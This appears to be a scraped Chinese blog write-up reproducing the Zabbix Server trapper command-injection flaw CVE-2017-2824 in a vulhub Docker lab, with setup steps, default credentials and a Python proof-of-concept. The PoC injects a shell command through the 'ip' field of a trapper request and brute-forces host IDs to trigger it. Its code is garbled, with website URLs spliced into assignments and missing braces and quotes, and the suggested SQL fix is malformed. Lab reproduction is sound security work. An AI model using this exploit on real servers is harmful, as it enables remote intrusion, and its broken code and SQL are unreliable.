沉舟侧畔千帆进,病树前头万木春。这篇文章主要讲述Zabbix Server Trapper远程代码执行漏洞(CVE-2017-2824)相关的知识,希望能为你提供帮助。
漏洞描述Zabbix Server是拉脱维亚Zabbix SIA公司的一套应用于服务器端的开源的监控系统。该系统可监视各种网络参数,并提供通知机制让系统管理员快速定位、解决存在的各种问题。Zabbix Server 2.4.X版本中的trapper command功能存在远程代码执行漏洞。恶意人员可远程利用该漏洞注入命令,执行代码。
安全等级
- 高危
- Zabbix 2.4.7 - 2.4.8r1
- 删除Zabbix数据库中的默认脚本条目,数据库操作 SQL为: use zabbix; delete * from scripts;
- 及时安装官方补丁升级
cd ./vulhub/zabbix/CVE-2017-2824
docker-compose up -d
docker ps
测试示例示例一
使用poc进行验证
验证前需要登录到zabbix开启自动注册功能,直接使用poc的话无法验证
【Zabbix Server Trapper远程代码执行漏洞(CVE-2017-2824)】访问zabbix登录界面,使用默认账号密码进行登录admin/zabbix
在Configuration-Actions下选择Auto registration,然后Create action
然后设置一个名称,然后选择Operations
选择Add-Add host,选择完成后,点击下方的Add添加后,再点击蓝色的Add,即可创建成功
在该漏洞目录下,提供了该漏洞的利用方法README.md和利用脚本exploit.py
poc如下:
import sys
import socket
import json
import sys
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
data = https://www.songbingjia.com/android/conn.recv(2048)
conn.close()
return data
target = sys.argv[1]
print(send(target, "request":"active checks","host":"vulhub","ip":"; touch /tmp/success"))
for i in range(10000, 10500):
data = https://www.songbingjia.com/android/send(target,"request":"command","scriptid":1,"hostid":str(i))
if data and bfailed not in data:
print(hostid: %d % i)
print(data)
在poc中的10051为docker中zabbix-server的映射端口
通过docke ps查看映射端口,需根据实际情况更改
目标的ip无需在poc中设置
使用poc进行验证,后面的ip地址为目标ip地址
可能会失败很多次,最后也是通过反复重启镜像后才验证成功的
python3 exploit.py 192.168.74.128
成功后进入docker的zabbix-server镜像内部
在tmp下找到了创建的success文件
docker exec -it [CONTAINER ID] /bin/bash
推荐阅读
- k8s 调度指定节点
- MDT8456部署Windows系列 : 基础篇—自定义Office 365客户端并使用 MDT部署
- Meetup回顾|DevOps&MLOps如何在企业中解决机器学习困境()
- 领域驱动设计 - 架构设计浅谈
- Nginx架构篇(13)Rewrite - 替换url中一部分的内容
- RabbitMQ 进阶 -- 阿里云服务器部署RabbitMQ集群
- Harbor镜像拉取凭证配置
- 服务器运维环境安全体系(下篇)
- 仅需三步学会使用低代码ThingJS与森数据DIX数据对接